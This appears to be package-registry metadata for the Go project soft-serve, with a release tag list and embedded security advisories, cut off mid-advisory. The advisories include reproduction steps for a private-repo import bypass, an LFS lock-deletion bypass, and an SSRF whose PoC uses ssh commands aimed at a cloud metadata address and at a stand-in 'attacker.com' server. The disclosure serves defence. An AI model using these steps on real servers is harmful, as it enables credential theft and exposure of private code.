5031d5bd7694ea365ca0cea","kind":"tag","published_at":"2022-11-04T16:40:27.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"6a12c0e6c034fa8c6c8a5f3ace80a1a11691d1cb","kind":"tag","published_at":"2022-08-08T17:58:02.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.4.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.4.0/manifests"},{"name":"v0.3.3","sha":"83165588aa36d68a58c4fe74ff6e7440b3b4ad34","kind":"tag","published_at":"2022-08-03T19:35:42.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.3.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"ce288190e0485aae0c6ecc92f0957b86559579cc","kind":"tag","published_at":"2022-06-15T18:13:12.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.3.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"875ff2b69e90de7ff02abf64fd3e423404b9188c","kind":"tag","published_at":"2022-06-01T15:53:53.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.3.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"d3669af2fb497c638db3885af61afba048156a69","kind":"tag","published_at":"2022-04-11T15:50:57.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.3.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.3.0/manifests"},{"name":"v0.2.3","sha":"192c4d92f8b8c9963fe62819dce2f88c21db261b","kind":"tag","published_at":"2022-02-23T15:38:37.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.2.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.3/manifests"},{"name":"v0.2.2","sha":"f67596d3f6b9261bbf285da00e4f9c281c771c60","kind":"tag","published_at":"2022-02-18T23:55:10.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.2.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"73fd14ea97dadaa343b8e5c602c6b8798d94c242","kind":"tag","published_at":"2022-02-16T17:29:38.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.2.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"73fd14ea97dadaa343b8e5c602c6b8798d94c242","kind":"tag","published_at":"2022-02-16T17:20:21.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.2.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.2.0/manifests"},{"name":"v0.1.3","sha":"3aa9bf3066d9e746324d374ef9af1787d8448023","kind":"commit","published_at":"2022-01-13T18:04:05.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.1.3","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.3/manifests"},{"name":"v0.1.2","sha":"de9cf14a68c3d0a2e8d14c8b7c4cc431feedfe08","kind":"tag","published_at":"2021-12-10T21:29:50.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.1.2","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.2/manifests"},{"name":"v0.1.1","sha":"bdee7ebbba6cd6a3a4c8b39f78103f2475f39943","kind":"tag","published_at":"2021-12-09T19:56:55.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.1.1","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.1/manifests"},{"name":"v0.1.0","sha":"91962f1f6769cedc2a0d9c4feee40261987fafde","kind":"commit","published_at":"2021-12-07T02:18:40.000Z","download_url":"https://codeload.github.com/charmbracelet/soft-serve/tar.gz/v0.1.0","html_url":"https://github.com/charmbracelet/soft-serve/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/charmbracelet/soft-serve@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/charmbracelet%2Fsoft-serve/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-02T18:52:09.693Z","dependent_packages_count":3,"downloads":null,"downloads_period":null,"dependent_repos_count":1,"rankings":{"downloads":null,"dependent_repos_count":4.706401008585746,"dependent_packages_count":5.815925122083559,"stargazers_count":1.2403824479300694,"forks_count":2.981848878015001,"docker_downloads_count":1.7505625418914175,"average":3.2990239997011583},"purl":"pkg:golang/github.com/charmbracelet/soft-serve","advisories":[{"uuid":"GSA_kwCzR0hTQS14Z3hwLWY2OTUtNnZycM4ABT4B","url":"https://github.com/advisories/GHSA-xgxp-f695-6vrp","title":"In Soft Serve, an authenticated repo import can clone server-local private repositories","description":"### Summary\nAn authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.\n\n### Details\nRepo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [`pkg/backend/user.go:46`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).\n\nThe import command then passes the user-controlled `REMOTE` into [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker.\n\nThe relevant vulnerable flow is:\n- [`pkg/ssh/cmd/import.go`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)\n- [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)\n- [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)\n- [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)\n\n### PoC\nConfiguration:\n- Default local test configuration is sufficient.\n- SSH must be enabled.\n- At least two users are needed: one owner/admin and one low-privilege authenticated user.\n\nReproduction steps:\n1. Start Soft Serve.\n2. As an admin, create a private repo:\n\n```sh\nsoft repo create secret -p\n```\n\n3. Create a second low-privilege user:\n\n```sh\nsoft user create user1 --key \"$USER1_AUTHORIZED_KEY\"\n```\n\n4. Seed the private repo with secret content:\n\n```sh\ngit clone ssh://localhost:$SSH_PORT/secret secret\necho 'top secret' \u003e secret/SECRET.txt\ngit -C secret add SECRET.txt\ngit -C secret commit -m 'first'\ngit -C secret push origin HEAD\n```\n\n5. Confirm the low-privilege user cannot access the private repo directly:\n\n```sh\nusoft repo info secret\n```\n\nExpected result:\n\n```text\nError: repository not found\n```\n\n6. As the low-privilege user, import the server-local bare repo path into a new repo:\n\n```sh\nusoft repo import stolen \"$DATA_PATH/repos/secret.git\" --lfs-endpoint http://example.com\n```\n\n7. Clone the attacker-controlled imported repo and read the secret:\n\n```sh\nugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone\ncat stolen-clone/SECRET.txt\n```\n\nExpected result:\n\n```text\ntop secret\n```\n\nNotes:\n- The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import.\n\n### Impact\nThis is an authorization bypass and confidentiality issue.\n\nAny authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.\n\nImpacted parties:\n- Operators hosting Soft Serve for multiple users or teams\n- Owners of private repositories on the same instance\n- Any deployment where untrusted authenticated users can use `repo import`\n\nPractical impact:\n- Theft of private source code\n- Disclosure of secrets committed to private repos\n- Exposure of unreleased or internal projects\n- Possible follow-on supply-chain risk if stolen code contains credentials or release material","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T19:27:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp","https://nvd.nist.gov/vuln/detail/CVE-2026-33353","https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55","https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6","https://github.com/advisories/GHSA-xgxp-f695-6vrp"],"source_kind":"github","identifiers":["GHSA-xgxp-f695-6vrp","CVE-2026-33353"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T20:00:10.217Z","updated_at":"2026-10-04T06:03:54.795Z","epss_percentage":0.00415,"epss_percentile":0.33512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3hwLWY2OTUtNnZycM4ABT4B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z3hwLWY2OTUtNnZycM4ABT4B","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.6","vulnerable_version_range":"\u003e= 0.6.0, \u003c 0.11.6"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z3hwLWY2OTUtNnZycM4ABT4B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZnZ4LXhyeHEtOGp2ds4ABTSL","url":"https://github.com/advisories/GHSA-3fvx-xrxq-8jvv","title":"soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import","description":"While auditing the codebase in the wake of the webhook SSRF fix shipped in v0.11.1 (GHSA-vwq2-jx9q-9h9f), it was identified that the LFS import path was never given the same treatment. The webhook fix introduced dual-layer SSRF protection — ValidateWebhookURL() at creation time and secureHTTPClient with IP validation at dial time — but the LFS HTTP client still uses http.DefaultClient with no filtering at all.\n\n### Summary\n\nAn authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running `repo import` with a crafted `--lfs-endpoint` URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets.\n\n### Details\n\nThe user-controlled endpoint flows through four files with zero validation:\n\n**1. User supplies the URL via `--lfs-endpoint`** (`pkg/ssh/cmd/import.go:20-41`)\n\n```go\ncmd.Flags().StringVarP(\u0026lfsEndpoint, \"lfs-endpoint\", \"\", \"\", \"set the Git LFS endpoint\")\n```\n\nThe flag value is passed directly into `proto.RepositoryOptions{LFSEndpoint: lfsEndpoint}` at line 40 and then to `be.ImportRepository()`.\n\n**2. Access check passes for any authenticated user** (`pkg/ssh/cmd/cmd.go:172-187`, `pkg/backend/user.go:94-100`)\n\nThe import command uses `checkIfCollab` as its `PersistentPreRunE`. For a new repo name (which is normal during import -- you're creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn't exist, the user has read/write access.\n    if anon \u003e access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return \u0026httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: \u0026BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = \u0026http.Client{\n    Timeout: 30 * time.Second,\n    Transport: \u0026http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `\u003cattacker-endpoint\u003e/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker's batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo's git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint \u003cinternal-url\u003e` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven't been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-03-06T22:16:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-3fvx-xrxq-8jvv","https://github.com/charmbracelet/soft-serve/commit/3ef660098ab37a7950457da8ecc25b516e37ce4e","https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.4","https://nvd.nist.gov/vuln/detail/CVE-2026-30832","https://github.com/advisories/GHSA-3fvx-xrxq-8jvv"],"source_kind":"github","identifiers":["GHSA-3fvx-xrxq-8jvv","CVE-2026-30832"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-06T23:00:09.305Z","updated_at":"2026-09-25T12:05:32.272Z","epss_percentage":0.00394,"epss_percentile":0.30777,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZnZ4LXhyeHEtOGp2ds4ABTSL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZnZ4LXhyeHEtOGp2ds4ABTSL","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.4","vulnerable_version_range":"\u003e= 0.6.0, \u003c 0.11.4"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZnZ4LXhyeHEtOGp2ds4ABTSL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wY2hmLTQ5ZmgtdzM0cs4ABRXd","url":"https://github.com/advisories/GHSA-pchf-49fh-w34r","title":"Soft Serve Affected by an Authentication Bypass","description":"### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis issue impacts every Soft Serve instance.\n\nA critical authentication bypass allows an attacker to impersonate any user (including Admin) by \"offering\" the victim's public key during the SSH handshake before authenticating with their own valid key. This occurs because the user identity is stored in the session context during the \"offer\" phase and is not cleared if that specific authentication attempt fails.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, please upgrade to version 0.11.3 as soon as possible.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nYou need to upgrade","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-21T23:02:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U","references":["https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-pchf-49fh-w34r","https://github.com/charmbracelet/soft-serve/commit/8539f9ad39918b67d612a35785a2b4326efc8741","https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.3","https://nvd.nist.gov/vuln/detail/CVE-2026-24058","https://github.com/advisories/GHSA-pchf-49fh-w34r"],"source_kind":"github","identifiers":["GHSA-pchf-49fh-w34r","CVE-2026-24058"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-22T00:00:11.180Z","updated_at":"2026-09-25T12:06:15.914Z","epss_percentage":0.00587,"epss_percentile":0.45705,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wY2hmLTQ5ZmgtdzM0cs4ABRXd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wY2hmLTQ5ZmgtdzM0cs4ABRXd","packages":[{"ecosystem":"go","package_name":"github.com/charmbracelet/soft-serve","versions":[{"first_patched_version":"0.11.3","vulnerable_version_range":"\u003c= 0.11.2"}],"purl":"pkg:go/github.com%2Fcharmbracelet%2Fsoft-serve"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wY2hmLTQ5ZmgtdzM0cs4ABRXd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02am04LXgzZzYtcjMzas4ABQ3c","url":"https://github.com/advisories/GHSA-6jm8-x3g6-r33j","title":"Soft Serve is missing an authorization check in LFS lock deletion","description":"## LFS Lock Force-Delete Authorization Bypass\n\n### Summary\n\nAn authorization bypass in the LFS lock deletion endpoint allows any authenticated user with repository write access to delete locks owned by other users by setting the `force` flag. The vulnerable code path processes force deletions before retrieving user context, bypassing ownership validation entirely.\n\n### Severity\n\n- **CWE-863:** Incorrect Authorization\n- **CVSS 3.1:** 5.4 (Medium) — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L`\n\n### Affected Code\n\n**File:** `pkg/web/git_lfs.go`\n**Function:** `serviceLfsLocksDelete` (lines 831–945)\n**Endpoint:** `POST /\u003crepo\u003e.git/info/lfs/locks/:lockID/unlock`\n\nThe control flow processes `req.Force` at line 905 before retrieving user context at line 919:\n\n```go\n// Line 905-916: Force delete executes immediately without authorization\nif req.Force {\n    if err := datastore.DeleteLFSLock(ctx, dbx, repo.ID(), lockID); err != nil {\n        // ...\n    }\n    renderJSON(w, http.StatusOK, l)\n    return  // Returns here, never reaching user validation\n}\n\n// Line 919: User context retrieved after force path has exited\nuser := proto.UserFromContext(ctx)\n```\n\n### Proof of Concept\n\n**Setup:** Two users with write access to the same repository—User A (lock owner) and User B (attacker).\n\n1. **User A creates a lock:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks \\\n     -H \"Authorization: Basic \u003cuser_a_token\u003e\" \\\n     -H \"Content-Type: application/vnd.git-lfs+json\" \\\n     -d '{\"path\": \"protected-file.bin\"}'\n   ```\n\n2. **User B deletes User A's lock using force flag:**\n   ```bash\n   curl -X POST http://localhost:23232/repo.git/info/lfs/locks/1/unlock \\\n     -H \"Authorization: 